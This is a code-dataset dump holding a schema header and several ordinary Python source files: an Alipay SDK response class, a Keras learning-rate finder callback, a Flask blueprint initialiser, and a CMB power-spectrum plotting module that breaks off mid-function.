hexsha
stringlengths
40
40
size
int64
4
1.02M
ext
stringclasses
8 values
lang
stringclasses
1 value
max_stars_repo_path
stringlengths
4
209
max_stars_repo_name
stringlengths
5
121
max_stars_repo_head_hexsha
stringlengths
40
40
max_stars_repo_licenses
listlengths
1
10
max_stars_count
int64
1
191k
max_stars_repo_stars_event_min_datetime
stringlengths
24
24
max_stars_repo_stars_event_max_datetime
stringlengths
24
24
max_issues_repo_path
stringlengths
4
209
max_issues_repo_name
stringlengths
5
121
max_issues_repo_head_hexsha
stringlengths
40
40
max_issues_repo_licenses
listlengths
1
10
max_issues_count
int64
1
67k
max_issues_repo_issues_event_min_datetime
stringlengths
24
24
max_issues_repo_issues_event_max_datetime
stringlengths
24
24
max_forks_repo_path
stringlengths
4
209
max_forks_repo_name
stringlengths
5
121
max_forks_repo_head_hexsha
stringlengths
40
40
max_forks_repo_licenses
listlengths
1
10
max_forks_count
int64
1
105k
max_forks_repo_forks_event_min_datetime
stringlengths
24
24
max_forks_repo_forks_event_max_datetime
stringlengths
24
24
content
stringlengths
4
1.02M
avg_line_length
float64
1.07
66.1k
max_line_length
int64
4
266k
alphanum_fraction
float64
0.01
1
8b9f52988b8506d1eb0785b2864f23355a95bc22
1,098
py
Python
alipay/aop/api/response/AlipayUserCertinfoMaskedQueryResponse.py
articuly/alipay-sdk-python-all
0259cd28eca0f219b97dac7f41c2458441d5e7a6
[ "Apache-2.0" ]
null
null
null
alipay/aop/api/response/AlipayUserCertinfoMaskedQueryResponse.py
articuly/alipay-sdk-python-all
0259cd28eca0f219b97dac7f41c2458441d5e7a6
[ "Apache-2.0" ]
null
null
null
alipay/aop/api/response/AlipayUserCertinfoMaskedQueryResponse.py
articuly/alipay-sdk-python-all
0259cd28eca0f219b97dac7f41c2458441d5e7a6
[ "Apache-2.0" ]
null
null
null
#!/usr/bin/env python # -*- coding: utf-8 -*- import simplejson as json from alipay.aop.api.response.AlipayResponse import AlipayResponse from alipay.aop.api.domain.MaskedUserCertView import MaskedUserCertView class AlipayUserCertinfoMaskedQueryResponse(AlipayResponse): def __init__(self): super(AlipayUserCertinfoMaskedQueryResponse, self).__init__() self._cert_views = None @property def cert_views(self): return self._cert_views @cert_views.setter def cert_views(self, value): if isinstance(value, list): self._cert_views = list() for i in value: if isinstance(i, MaskedUserCertView): self._cert_views.append(i) else: self._cert_views.append(MaskedUserCertView.from_alipay_dict(i)) def parse_response_content(self, response_content): response = super(AlipayUserCertinfoMaskedQueryResponse, self).parse_response_content(response_content) if 'cert_views' in response: self.cert_views = response['cert_views']
33.272727
110
0.684882
3895bb42085142c7617be2fe829c2f4c12d07740
5,234
py
Python
tfmiss/keras/callbacks/lrfind.py
shkarupa-alex/tfmiss
4fe1bb3a47327c07711f910ee53319167032b6af
[ "MIT" ]
1
2019-06-25T15:58:20.000Z
2019-06-25T15:58:20.000Z
tfmiss/keras/callbacks/lrfind.py
shkarupa-alex/tfmiss
4fe1bb3a47327c07711f910ee53319167032b6af
[ "MIT" ]
1
2021-11-11T12:56:51.000Z
2021-11-11T12:56:51.000Z
tfmiss/keras/callbacks/lrfind.py
shkarupa-alex/tfmiss
4fe1bb3a47327c07711f910ee53319167032b6af
[ "MIT" ]
2
2020-02-11T15:46:58.000Z
2021-11-21T02:47:36.000Z
from __future__ import absolute_import from __future__ import division from __future__ import print_function import numpy as np import tensorflow as tf import tempfile from keras import backend, callbacks from keras.utils.generic_utils import register_keras_serializable @register_keras_serializable(package='Miss') class LRFinder(callbacks.Callback): """Stop training when a monitored quantity has stopped improving. Arguments: max_steps: Number of steps to run experiment. min_lr: The lower bound of the learning rate range for the experiment. max_lr: The upper bound of the learning rate range for the experiment. smooth: Parameter for averaging the loss. Pick between 0 and 1. """ def __init__(self, max_steps, min_lr=1e-7, max_lr=10., smooth=0.98): super(LRFinder, self).__init__() self.max_steps = max_steps self.min_lr = min_lr self.max_lr = max_lr self.smooth = smooth self.stop_training = None self.curr_step = None self.best_value = None self.avg_loss = None self.losses = None self.lrs = None def on_train_begin(self, logs=None): self.stop_training = False self.curr_step = 0 self.best_value = 0. self.avg_loss = 0. self.losses = [] self.lrs = [] backend.set_value(self.model.optimizer.lr, self.min_lr) tf.get_logger().warning('Don\'t forget to set "epochs=1" and "steps_per_epoch={}" ' 'in model.fit() call'.format(self.max_steps)) def on_train_batch_end(self, batch, logs=None): if self.stop_training: return logs = logs or {} current_loss = logs.get('loss', None) # Check preconditions if current_loss is None: self.stop_training = True self.model.stop_training = True tf.get_logger().error('LRFinder conditioned on "loss" which is not available. ' 'Training will be stopped.') return if np.isnan(current_loss) or np.isinf(current_loss): self.stop_training = True self.model.stop_training = True tf.get_logger().error('LRFinder got Nan/Inf loss value. Training will be stopped.') return # Smooth the loss self.avg_loss = self.smooth * self.avg_loss + (1 - self.smooth) * current_loss smooth_loss = self.avg_loss / (1 - self.smooth ** (self.curr_step + 1)) # Check if the loss is not exploding if self.curr_step > 0 and smooth_loss > self.best_value * 4: self.stop_training = True self.model.stop_training = True tf.get_logger().error('LRFinder found loss explosion. Training will be stopped.') return # Remember best loss if self.curr_step == 0 or smooth_loss < self.best_value: self.best_value = smooth_loss curr_lr = backend.get_value(self.model.optimizer.lr) self.lrs.append(curr_lr) self.losses.append(smooth_loss) if self.curr_step > self.max_steps: self.stop_training = True self.model.stop_training = True tf.get_logger().info('LRFinder reached final step. Training will be stopped.') return # Set next lr (annealing exponential) next_lr = self.min_lr * (self.max_lr / self.min_lr) ** (self.curr_step / self.max_steps) backend.set_value(self.model.optimizer.lr, next_lr) self.curr_step += 1 def on_train_end(self, logs=None): if self.curr_step < self.max_steps: tf.get_logger().error('LRFinder finished before "max_steps" reached. Run training with more data.') else: tf.get_logger().info('LRFinder finished. Use ".plot()" method see the graph.') def plot(self, skip_start=10, skip_end=5): if not len(self.losses): raise ValueError('Observations are empty. Run training first.') losses = self.losses[skip_start:-skip_end] lrs = self.lrs[skip_start:-skip_end] try: min_grad = np.gradient(losses).argmin() except ValueError: raise ValueError('Failed to compute gradients, there might not be enough points.') import matplotlib matplotlib.use('Agg') import matplotlib.pyplot as plt plt.figure(figsize=(12, 6)) plt.plot(lrs, losses) plt.xscale('log') plt.xlabel('Log(Learning rate), best {:.2e}'.format(lrs[min_grad])) plt.ylabel('Loss') plt.plot(lrs[min_grad], losses[min_grad], markersize=10, marker='o', color='red') with tempfile.NamedTemporaryFile(suffix='.png', delete=False) as tmp: plt.savefig(tmp, format='png') tf.get_logger().info('Graph saved to {}'.format(tmp.name)) return lrs[min_grad], tmp.name def get_config(self): config = super(LRFinder, self).get_config() config.update({ 'max_steps': self.max_steps, 'min_lr': self.min_lr, 'max_lr': self.max_lr, 'smooth': self.smooth, }) return config
36.096552
111
0.619985
10322f3467a2b9cbebec8237a571a55f8704fcb2
186
py
Python
flaskrestful/FlaskProject/App/views/__init__.py
riverstation/project-all
c56f1879e1303d561e95a3ff3a70f94fb5fa2191
[ "Apache-2.0" ]
null
null
null
flaskrestful/FlaskProject/App/views/__init__.py
riverstation/project-all
c56f1879e1303d561e95a3ff3a70f94fb5fa2191
[ "Apache-2.0" ]
null
null
null
flaskrestful/FlaskProject/App/views/__init__.py
riverstation/project-all
c56f1879e1303d561e95a3ff3a70f94fb5fa2191
[ "Apache-2.0" ]
null
null
null
from App.views.MovieView import movie from App.views.UserView import user def init_views(app): app.register_blueprint(blueprint=user) app.register_blueprint(blueprint=movie)
18.6
43
0.790323
edb8a8b13cd64f1d686aff3cb249685039d73c20
44,023
py
Python
examples/plotter.py
Guo-Jian-Wang/cmbNNCS
cd55e0a2344aa5182d099cf559bc986ae0351cb7
[ "MIT" ]
null
null
null
examples/plotter.py
Guo-Jian-Wang/cmbNNCS
cd55e0a2344aa5182d099cf559bc986ae0351cb7
[ "MIT" ]
null
null
null
examples/plotter.py
Guo-Jian-Wang/cmbNNCS
cd55e0a2344aa5182d099cf559bc986ae0351cb7
[ "MIT" ]
null
null
null
import sys sys.path.append('..') sys.path.append('../..') sys.path.append('../../..') import coplot.plots as pl import coplot.plot_settings as pls import cmbnncs.simulator as simulator import cmbnncs.utils as utils import cmbnncs.spherical as spherical import loader import numpy as np import matplotlib.pyplot as plt import matplotlib import matplotlib.gridspec as gridspec import healpy as hp import math import pymaster as nmt def change_randn_num(randn_num): randn_num_change = randn_num.split('.') randn_num_change = randn_num_change[0]+randn_num_change[1] return randn_num_change def change_randn_nums(randn_nums): rdns = '' rdns_list = [] for rdn in randn_nums: rdns = rdns + change_randn_num(rdn) rdns_list.append(change_randn_num(rdn)) return rdns, rdns_list def mse(true, predict): '''mean square error''' return np.mean( (predict-true)**2 ) def cl2dl(Cl, ell_start, ell_in=None, get_ell=True): ''' ell_start: 0 or 2, which should depend on Dl ell_in: the ell of Cl (as the input of this function) ''' if ell_start==0: lmax_cl = len(Cl) - 1 elif ell_start==2: lmax_cl = len(Cl) + 1 ell = np.arange(lmax_cl + 1) if ell_in is not None: if ell_start==2: ell[2:] = ell_in factor = ell * (ell + 1.) / 2. / np.pi if ell_start==0: Dl = np.zeros_like(Cl) Dl[2:] = Cl[2:] * factor[2:] ell_2 = ell elif ell_start==2: Dl = Cl * factor[2:] ell_2 = ell[2:] if get_ell: return ell_2, Dl else: return Dl # The function defined below will compute the power spectrum between two # NmtFields f_a and f_b, using the coupling matrix stored in the # NmtWorkspace wsp and subtracting the deprojection bias clb. # Note that the most expensive operations in the MASTER algorithm are # the computation of the coupling matrix and the deprojection bias. Since # these two objects are precomputed, this function should be pretty fast! def compute_master(f_a, f_b, wsp, clb): # Compute the power spectrum (a la anafast) of the masked fields # Note that we only use n_iter=0 here to speed up the computation, # but the default value of 3 is recommended in general. cl_coupled = nmt.compute_coupled_cell(f_a, f_b) # Decouple power spectrum into bandpowers inverting the coupling matrix cl_decoupled = wsp.decouple_cell(cl_coupled, cl_bias=clb) return cl_decoupled def namaster_dl_TT_QQ_UU(cmb_t, mask, bl=None, nside=512, aposize=1, nlb=10, cl_th=None, cls_th=None, cmb_t_th=None, sim_n=2): '''Calculate Cl * ell*(ell+1)/2/np.pi of TT, QQ, and UU. cmb_t : 1-D array with shape (nside**2*12,), the (recovered) CMB I, Q, or U map. mask : 1-D array with shape (nside**2*12,), the mask file used to the CMB map. bl : 1-D array with shape (3*nside,), the beam file used to the CMB map, the multipoles starts from 0 to 3*nside-1, so, lmax=3*nside - 1 aposize : float or None, apodization scale in degrees. nlb : int, the bin size (\delta_\ell) of multipoles, it can be set to ~ 1/fsky cl_th : 1-D array, the theoretical TT, QQ, or UU power spectrum, where ell start from 0. cls_th : 6-D array with shape (6, M), the theoretical Cls and ell start from 0. cls_th[:4, :] correspongding to TT, EE, BB, and TE power spectra, respectively, and cls_th[4:, :] is 0. cmb_t_th : 1-D array with shape (nside**2*12,), the simulated CMB map based on the theoretical power spectrum. sim_n : int, the number of simulation. ''' if aposize is not None: mask = nmt.mask_apodization(mask, aposize=aposize, apotype="Smooth") if cmb_t_th is None: f_t = nmt.NmtField(mask, [cmb_t], templates=None, beam=bl) else: f_t = nmt.NmtField(mask, [cmb_t], templates=[[cmb_t-cmb_t_th]], beam=bl) #method 1 # b = nmt.NmtBin.from_nside_linear(nside, nlb=nlb, is_Dell=True) #nlb=\delta_ell ~ 1/fsky # dl_TT = nmt.compute_full_master(f_t, f_t, b)[0] #method 2 b = nmt.NmtBin.from_nside_linear(nside, nlb=nlb, is_Dell=False) #nlb=\delta_ell ~ 1/fsky if cl_th is None: cl_bias = None else: cl_00_th = cl_th.reshape(1, -1) cl_bias = nmt.deprojection_bias(f_t, f_t, cl_00_th) w = nmt.NmtWorkspace() w.compute_coupling_matrix(f_t, f_t, b) cl_master = compute_master(f_t, f_t, w, cl_bias) ell = b.get_effective_ells() #get error if cl_th is not None: cl_mean = np.zeros_like(cl_master) cl_std = np.zeros_like(cl_master) for i in np.arange(sim_n): print("Simulating %s/%s"%(i+1, sim_n)) t, q, u = hp.synfast(cls_th, nside, pol=True, new=True, verbose=False, pixwin=False) f0_sim = nmt.NmtField(mask, [t], templates=[[cmb_t-cmb_t_th]]) cl = compute_master(f0_sim, f0_sim, w, cl_bias) cl_mean += cl cl_std += cl*cl cl_mean /= sim_n cl_std = np.sqrt(cl_std / sim_n - cl_mean*cl_mean) factor = ell*(ell+1)/2/np.pi dl_std = factor * cl_std ell, dl_master = cl2dl(cl_master[0], ell_start=2, ell_in=ell) hp.mollview(mask, title='Mask') if cl_th is None: return ell, dl_master else: return ell, dl_master, dl_std[0] def namaster_dl_EE_BB(cmb_qu, mask, bl=None, nside=512, aposize=1, nlb=10): ''' cmb_qu : 2-D array with shape (2, nside**2*12), CMB Q and U maps. mask : 1-D array with shape (nside**2*12,), the mask file used to the Q and U maps. bl : 1-D array with shape (3*nside,), the beam file used to the CMB map, the multipoles starts from 0 to 3*nside-1, so, lmax=3*nside - 1 aposize : float or None, apodization scale in degrees. nlb : int, the bin size (\delta_\ell) of multipoles, it can be set to ~ 1/fsky ''' if aposize is not None: mask = nmt.mask_apodization(mask, aposize=aposize, apotype="Smooth") f_qu = nmt.NmtField(mask, cmb_qu, beam=bl) b = nmt.NmtBin.from_nside_linear(nside, nlb=nlb, is_Dell=True) #nlb=10, \delta_ell ~ 1/fsky dl_22 = nmt.compute_full_master(f_qu, f_qu, b) ell = b.get_effective_ells() hp.mollview(mask, title='Mask') #dl_22[0]: EE, dl_22[3]: BB return ell, dl_22 class PlotCMBFull(object): def __init__(self, cmb, cmb_ML, randn_num='', map_type='I', fig_type='test', map_n=0, input_freqs=[100,143,217,353], out_freq=143, extra_suffix=''): """ map_type: 'I', 'Q' or 'U' fig_type: 'test' or 'obs' """ self.cmb = cmb self.cmb_ML = cmb_ML self.randn_num = randn_num self.map_type = map_type self.fig_type = fig_type self.map_n = map_n self.input_freqs = input_freqs self.freq_num = len(input_freqs) self.out_freq = out_freq self.ell = None self.extra_suffix = extra_suffix @property def minmax(self): if self.map_type=='I': return 500 else: return 10 @property def nside(self): return int(np.sqrt(len(self.cmb)/12)) @property def lmax(self): if self.nside==512: self.xlim_max = 1500 elif self.nside==256: self.xlim_max = 760 return 3*self.nside - 1 @property def randn_marker(self): return change_randn_num(self.randn_num) @property def fig_prefix(self): if self.fig_type=='obs': return 'plkcmb' elif self.fig_type=='test': return 'simcmb' def bl_plk(self): beams = loader.get_planck_beams(nside=self.nside, relative_dir='obs_data') return beams[str(self.out_freq)][:self.lmax+1] def bl_fwhm(self, fwhm): bl = hp.gauss_beam(fwhm*np.pi/10800., lmax=self.lmax) return bl[:self.lmax+1] def bl(self, fwhm=None): if fwhm is None: print("Using Planck beam file !!!") return self.bl_plk() else: return self.bl_fwhm(fwhm) @property def bin_lengh(self): return 30 @property def bin_n(self): return int(math.ceil( (self.lmax-1)/float(self.bin_lengh) )) def get_plk_fwhm(self): """ The recovered CMB map has beam with fwhm=9.43 (for output with 100GHz), while the Planck CMB has 5 arcmin beam. The generated beam map is used to calculate residual and MSE of CMB map. Note ---- Note that this procedure is not right!!! The right way is remove the beam from the CMB map, and then add 9.43 arcmin beam, but it is not feasible. Therefore, this operation is only an approximate method, since the area where the beams work is much smaller than that of a pixel when nside=256 """ if self.out_freq == 100: self.plk_fwhm = 9.43 elif self.out_freq == 143: self.plk_fwhm = 7.27 elif self.out_freq == 217: self.plk_fwhm = 5.01 elif self.out_freq == 70: self.plk_fwhm = 13.31 elif self.out_freq == 353: self.plk_fwhm = 4.86 @property def residual_map(self): return self.cmb_ML - self.cmb def mask_plk(self): print("Using Planck mask !!!") if self.map_type=='I': self.mask = np.load('obs_data/mask/COM_Mask_CMB-common-Mask-Int_%s_R3.00.npy'%self.nside) else: self.mask = np.load('obs_data/mask/COM_Mask_CMB-common-Mask-Pol_%s_R3.00.npy'%self.nside) self.fsky = np.count_nonzero(self.mask) / float(len(self.mask)) def mask_manual(self): self.mask = np.ones(self.nside**2*12) self.fsky = np.count_nonzero(self.mask) / float(len(self.mask)) def plot_cmb(self, savefig=False, root='figures', hold=False): if self.fig_type=='obs': title = 'Planck CMB' elif self.fig_type=='test': title = 'Simulated CMB' matplotlib.rcParams.update({'font.size': 16}) hp.mollview(self.cmb, cmap='jet', min=-self.minmax, max=self.minmax, title=title, hold=hold) if savefig: utils.mkdir(root) plt.savefig(root + '/%s_%s_%s.pdf'%(self.fig_prefix,self.map_type,self.map_n), bbox_inches='tight') def plot_cmb_ML(self, savefig=False, root='figures', hold=False): matplotlib.rcParams.update({'font.size': 16}) hp.mollview(self.cmb_ML, cmap='jet', min=-self.minmax, max=self.minmax, title='Recovered CMB', hold=hold) if savefig: utils.mkdir(root) if self.extra_suffix: plt.savefig(root + '/ML_%s_%s_%s_%s_%s.pdf'%(self.fig_prefix,self.map_type,self.map_n,self.randn_marker,self.extra_suffix), bbox_inches='tight') else: plt.savefig(root + '/ML_%s_%s_%s_%s.pdf'%(self.fig_prefix,self.map_type,self.map_n,self.randn_marker), bbox_inches='tight') def plot_residual(self, savefig=False, root='figures', hold=False): matplotlib.rcParams.update({'font.size': 16}) hp.mollview(self.residual_map, cmap='jet', min=-self.minmax/10., max=self.minmax/10., title='Residual', hold=hold) if savefig: utils.mkdir(root) if self.extra_suffix: plt.savefig(root+'/residual_%s_%s_%s_%s_%s.pdf'%(self.fig_prefix,self.map_type,self.map_n,self.randn_marker,self.extra_suffix), bbox_inches='tight') else: plt.savefig(root+'/residual_%s_%s_%s_%s.pdf'%(self.fig_prefix,self.map_type,self.map_n,self.randn_marker), bbox_inches='tight') def get_dl(self, fwhm=None, aposize=1, nlb=None, bin_residual=True): ''' aposize : float or None nlb : int or None ''' if nlb is None: self.nlb = math.ceil(1/self.fsky) else: self.nlb = nlb self.get_plk_fwhm() if self.fig_type=='obs': self.ell, self.dl = namaster_dl_TT_QQ_UU(self.cmb, self.mask, bl=self.bl(fwhm=5.0), nside=self.nside, aposize=aposize, nlb=self.nlb) self.ell, self.dl_ML = namaster_dl_TT_QQ_UU(self.cmb_ML, self.mask, bl=self.bl(fwhm=self.plk_fwhm), nside=self.nside, aposize=aposize, nlb=self.nlb) else: self.ell, self.dl = namaster_dl_TT_QQ_UU(self.cmb, self.mask, bl=self.bl(fwhm=fwhm), nside=self.nside, aposize=aposize, nlb=self.nlb, cl_th=None) self.ell, self.dl_ML = namaster_dl_TT_QQ_UU(self.cmb_ML, self.mask, bl=self.bl(fwhm=fwhm), nside=self.nside, aposize=aposize, nlb=self.nlb, cl_th=None) self.mse_map = mse(self.cmb, self.cmb_ML) self.mse_dl = mse(self.dl, self.dl_ML)## print('mseSpectra:%s'%self.mse_dl) #different from sim_tt self.dl_diff = self.dl_ML - self.dl if bin_residual: self.ell_bined = [np.mean(self.ell[i*self.bin_lengh:(i+1)*self.bin_lengh]) for i in range(self.bin_n)] self.dl_diff_bined = [self.dl_diff[i*self.bin_lengh:(i+1)*self.bin_lengh] for i in range(self.bin_n)] self.dl_diff_bined_best = [np.mean(self.dl_diff_bined[i]) for i in range(self.bin_n)] self.dl_diff_bined_err = [np.std(self.dl_diff_bined[i]) for i in range(self.bin_n)] def plot_dl(self, savefig=False, root='figures', one_panel=True, show_title=False, title_str=None, show_mse=False, fwhm=None, aposize=1, nlb=None, bin_residual=True): if self.ell is None: self.get_dl(fwhm=fwhm, aposize=aposize, nlb=nlb, bin_residual=bin_residual) if one_panel: fig_spectra = plt.figure(figsize=(6*1.2, 4.5*1.2)) fig_spectra.subplots_adjust(hspace=0) gs = gridspec.GridSpec(2, 1, height_ratios=[3, 1]) ticks_size = 12 fontsize = 16 else: gs = gridspec.GridSpec(3, 2, height_ratios=[5.5, 3, 1]) ticks_size = 12 fontsize = 18 if one_panel: ax_0 = plt.subplot(gs[0]) else: ax_0 = plt.subplot(gs[3]) ax_0 = pls.PlotSettings().setting(ax=ax_0,labels=[r'$\ell$', r'$D_\ell^{TT}[\mu k^2]$'], ticks_size=ticks_size,show_xticks=False,minor_locator_N=8,major_locator_N=5) if self.fig_type=='obs': ax_0.plot(self.ell, self.dl, label='Planck CMB') elif self.fig_type=='test': ax_0.plot(self.ell, self.dl, label='Simulated CMB') if self.map_type=='I': ax_0.plot(self.ell, self.dl_ML, label='Recovered CMB') ax_0.set_xlim(0, self.xlim_max) ax_0.set_ylim(10, 7100) else: ax_0.plot(self.ell, self.dl_ML, label='Recovered CMB') ax_0.set_xlim(0, self.xlim_max) if show_mse: ax_0.text(self.lmax*0.6, max(self.dl)*0.52, r'$MSE_{CMB}:%.2f$'%self.mse_map, fontsize=fontsize) ax_0.text(self.lmax*0.6, max(self.dl)*0.35, r'$MSE_{D_\ell}:%.2f$'%self.mse_dl, fontsize=fontsize) ax_0.legend(fontsize=fontsize) if show_title: if self.freq_num==1: if title_str is None: plt.title('%s frequency: %s'%(self.freq_num, self.input_freqs), fontsize=fontsize) else: plt.title(title_str, fontsize=fontsize) else: if title_str is None: plt.title('%s frequencies: %s'%(self.freq_num, self.input_freqs), fontsize=fontsize) else: plt.title(title_str, fontsize=fontsize) if one_panel: ax_1 = plt.subplot(gs[1]) else: ax_1 = plt.subplot(gs[5]) ax_1 = pls.PlotSettings().setting(ax=ax_1,labels=[r'$\ell$', r'$\Delta D_\ell^{TT}[\mu k^2]$'], ticks_size=ticks_size,minor_locator_N=8,major_locator_N=5) ax_1.plot([0, max(self.ell)], [0,0], '--', color=pl.fiducial_colors[9]) if bin_residual: ax_1.errorbar(self.ell_bined, self.dl_diff_bined_best, yerr=self.dl_diff_bined_err, fmt='.') else: ax_1.plot(self.ell, self.dl_diff, color=pl.fiducial_colors[8]) if not savefig: plt.plot([768,768], [-280,280]) plt.text(768-50, 20, '768') plt.plot([1000,1000], [-280,280]) plt.text(1000-50, 20, '1000') ax_1.set_xlim(0, self.xlim_max) if self.map_type=='I': ax_1.set_ylim(-100, 100) else: ax_1.set_ylim(-3, 3) if savefig: if self.extra_suffix: pl.savefig(root, 'spectra_%s_%s_%s_%s_%s.pdf'%(self.fig_prefix,self.map_type,self.map_n,self.randn_marker,self.extra_suffix), fig_spectra) else: pl.savefig(root, 'spectra_%s_%s_%s_%s.pdf'%(self.fig_prefix,self.map_type,self.map_n,self.randn_marker), fig_spectra) def plot_all(self, savefig=False, root='figures', fwhm=None, aposize=1, nlb=None, bin_residual=True): if self.ell is None: self.get_dl(fwhm=fwhm, aposize=aposize, nlb=nlb, bin_residual=bin_residual) fig = plt.figure(figsize=(6*1.2*2, 4.5*1.2*2)) fig.subplots_adjust(wspace=0.21, hspace=0) pls.PlotSettings().setting(location=(2,2,1),set_labels=False) self.plot_cmb(hold=True) pls.PlotSettings().setting(location=(2,2,2),set_labels=False) self.plot_cmb_ML(hold=True) pls.PlotSettings().setting(location=(2,2,3),set_labels=False) self.plot_residual(hold=True) self.plot_dl(one_panel=False, show_title=True, show_mse=True, fwhm=fwhm, aposize=aposize, nlb=nlb, bin_residual=bin_residual) if savefig: if self.extra_suffix: pl.savefig(root, '%s_%s_%s_%s_%s.pdf'%(self.fig_prefix,self.map_type,self.map_n,self.randn_marker,self.extra_suffix), fig) else: pl.savefig(root, '%s_%s_%s_%s.pdf'%(self.fig_prefix,self.map_type,self.map_n,self.randn_marker), fig) def _get_miniPatch(self, Map): ''' select a 3*3 deg^2 patch ''' ps = spherical.PixelSize(nside=self.nside) patch_size = int(3/ps.pixel_length) map_blocks = spherical.Cut(Map).block_all() patch_0 = map_blocks[0][:patch_size, :patch_size] patch_1 = map_blocks[4][:patch_size, :patch_size] start_pix = (self.nside-patch_size)//2 patch_2 = map_blocks[4][start_pix:start_pix+patch_size, start_pix:start_pix+patch_size] patch_3 = map_blocks[4][-patch_size:, -patch_size:] patch_4 = map_blocks[11][-patch_size:, -patch_size:] return [patch_0, patch_1, patch_2, patch_3, patch_4] def get_miniPatch(self): self.cmb_miniBatches = self._get_miniPatch(self.cmb) self.cmb_ML_miniBatches = self._get_miniPatch(self.cmb_ML) self.residual_map_miniBatches = self._get_miniPatch(self.residual_map) def plot_miniPatch(self, savefig=False, root='figures'): self.get_miniPatch() fig = plt.figure(figsize=(3*5, 3*3)) fig.subplots_adjust(left=0,bottom=0,right=1,top=1,wspace=0.15,hspace=0.25) for row in range(3): for column in range(5): pls.PlotSettings().setting(location=(3,5,row*5+column+1),set_labels=False,minor_locator_N=1) # plt.subplot(3,5,row*5+column+1) if row==0: im = plt.imshow(self.cmb_miniBatches[column], cmap='jet', vmin=-500, vmax=500) if self.fig_type=='obs': plt.title('Planck CMB', fontsize=16) elif self.fig_type=='test': plt.title('Simulated CMB', fontsize=16) elif row==1: im = plt.imshow(self.cmb_ML_miniBatches[column], cmap='jet', vmin=-500, vmax=500) plt.title('Recovered CMB', fontsize=16) if column==4: cbar_ax = fig.add_axes([1.01, 0.358, 0.01, 0.641]) plt.colorbar(im, cax=cbar_ax) elif row==2: im = plt.imshow(self.residual_map_miniBatches[column], cmap='jet', vmin=-50, vmax=50) plt.title('Residual', fontsize=16) if column==4: cbar_ax = fig.add_axes([1.01, 0., 0.01, 0.287]) plt.colorbar(im, cax=cbar_ax) if savefig: utils.mkdir(root) if self.extra_suffix: plt.savefig(root + '/miniPatch_%s_%s_%s_%s_%s.pdf'%(self.fig_prefix,self.map_type,self.map_n,self.randn_marker,self.extra_suffix), bbox_inches='tight') else: plt.savefig(root + '/miniPatch_%s_%s_%s_%s.pdf'%(self.fig_prefix,self.map_type,self.map_n,self.randn_marker), bbox_inches='tight') #%% class PlotCMBBlock(object): def __init__(self, cmb, cmb_ML, randn_num='', map_type='I', fig_type='test', map_n=0, input_freqs=[100,143,217,353], out_freq=143, block_n=0, extra_suffix=''): """ map_type: 'I', 'Q' or 'U' fig_type: 'test' or 'obs' """ self.cmb = cmb self.cmb_ML = cmb_ML self.randn_num = randn_num self.map_type = map_type self.fig_type = fig_type self.map_n = map_n self.input_freqs = input_freqs self.freq_num = len(input_freqs) self.out_freq = out_freq self.block_n = block_n self.extra_suffix = extra_suffix self.ell = None @property def minmax(self): if self.map_type=='I': return 500 else: return 10 @property def dl_type(self): if self.map_type=='I': return 'TT' else: return '%s%s'%(self.map_type, self.map_type) @property def nside(self): return int(len(self.cmb)) @property def lmax(self): if self.nside==512: self.xlim_max = 1500 elif self.nside==256: self.xlim_max = 760 return 3*self.nside - 1 @property def randn_marker(self): return change_randn_num(self.randn_num) @property def fig_prefix(self): if self.fig_type=='obs': return 'plkcmb' elif self.fig_type=='test': return 'simcmb' def bl_plk(self): beams = loader.get_planck_beams(nside=self.nside, relative_dir='obs_data') return beams[str(self.out_freq)][:self.lmax+1] def bl_fwhm(self, fwhm): bl = hp.gauss_beam(fwhm*np.pi/10800., lmax=self.lmax) return bl[:self.lmax+1] def bl(self, fwhm=None): if fwhm is None: print("Using Planck beam file !!!") return self.bl_plk() else: return self.bl_fwhm(fwhm) @property def bin_lengh(self): return 6 #6*nlb = 30, let nlb=5 @property def bin_n(self): return int(math.ceil( (self.lmax-1)/float(self.bin_lengh) )) @property def residual_map(self): if self.fig_type=='obs': return self.cmb_ML - self.cmb_beam else: return self.cmb_ML - self.cmb def mask_plk(self): if self.map_type=='I': mask = np.load('obs_data/mask/COM_Mask_CMB-common-Mask-Int_%s_R3.00.npy'%self.nside) else: mask = np.load('obs_data/mask/COM_Mask_CMB-common-Mask-Pol_%s_R3.00.npy'%self.nside) mask_0 = spherical.Cut(mask).block(self.block_n) self.mask = spherical.Block2Full(mask_0, self.block_n).full() self.fsky = np.count_nonzero(self.mask) / float(len(self.mask)) def mask_manual(self): mask_0 = np.ones((self.nside, self.nside)) self.mask = spherical.Block2Full(mask_0, self.block_n).full() self.fsky = np.count_nonzero(self.mask) / float(len(self.mask)) def plot_cmb(self, savefig=False, root='figures', hold=False, one_panel=True): if self.fig_type=='obs': title = 'Planck CMB' elif self.fig_type=='test': title = 'Simulated CMB' if one_panel: plt.figure()# matplotlib.rcParams.update({'font.size': 16}) plt.imshow(self.cmb, cmap='jet', vmin=-self.minmax, vmax=self.minmax) plt.colorbar() plt.title(title, fontsize=16) if savefig: utils.mkdir(root) if self.use_mask: plt.savefig(root + '/%s_%s_%s_block%s_mask.pdf'%(self.fig_prefix,self.map_type,self.map_n,self.block_n), bbox_inches='tight') else: plt.savefig(root + '/%s_%s_%s_block%s.pdf'%(self.fig_prefix,self.map_type,self.map_n,self.block_n), bbox_inches='tight') def plot_cmb_ML(self, savefig=False, root='figures', hold=False, one_panel=True): if one_panel: plt.figure()# matplotlib.rcParams.update({'font.size': 16}) plt.imshow(self.cmb_ML, cmap='jet', vmin=-self.minmax, vmax=self.minmax) plt.colorbar() plt.title('Recovered CMB', fontsize=16) if savefig: utils.mkdir(root) if self.extra_suffix: plt.savefig(root + '/ML_%s_%s_%s_%s_block%s_%s.pdf'%(self.fig_prefix,self.map_type,self.map_n,self.randn_marker,self.block_n,self.extra_suffix), bbox_inches='tight') else: plt.savefig(root + '/ML_%s_%s_%s_%s_block%s.pdf'%(self.fig_prefix,self.map_type,self.map_n,self.randn_marker,self.block_n), bbox_inches='tight') def plot_residual(self, savefig=False, root='figures', hold=False, one_panel=True): if one_panel: plt.figure()# matplotlib.rcParams.update({'font.size': 16}) if self.map_type=='I': plt.imshow(self.residual_map, cmap='jet', vmin=-self.minmax/50., vmax=self.minmax/50.) else: plt.imshow(self.residual_map, cmap='jet', vmin=-self.minmax/50., vmax=self.minmax/50.) plt.colorbar() plt.title('Residual', fontsize=16) if savefig: utils.mkdir(root) if self.extra_suffix: plt.savefig(root+'/residual_%s_%s_%s_%s_block%s_%s.pdf'%(self.fig_prefix,self.map_type,self.map_n,self.randn_marker,self.block_n,self.extra_suffix), bbox_inches='tight') else: 